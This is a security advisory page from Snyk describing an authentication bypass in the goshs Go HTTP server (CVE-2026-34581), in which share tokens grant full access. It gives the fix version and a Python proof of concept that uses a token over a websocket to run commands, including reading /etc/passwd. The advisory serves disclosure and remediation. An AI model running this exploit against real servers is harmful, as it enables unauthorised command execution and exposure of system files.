Authentication Bypass Using an Alternate Path or Channel Affecting github.com/patrickhener/goshs/httpserver package, versions >=1.1.0 <2.0.0-beta.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.39% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMPATRICKHENERGOSHSHTTPSERVER-15953342
  • published9 Apr 2026
  • disclosed1 Apr 2026
  • creditmarduc812

Introduced: 1 Apr 2026

CVE-2026-34581  (opens in a new tab)
CWE-288  (opens in a new tab)

How to fix?

Upgrade github.com/patrickhener/goshs/httpserver to version 2.0.0-beta.2 or higher.

Overview

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel in the way the server’s middleware processes "Share Tokens." While these tokens are intended to grant temporary, restricted access to a single file, the BasicAuthMiddleware prioritizes checking for a valid token over standard credentials. If any valid token is provided in the URL, the server grants the request full authenticated access, bypassing the password protection entirely for all other functionalities.

PoC

import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

CVSS Base Scores

version 4.0
version 3.1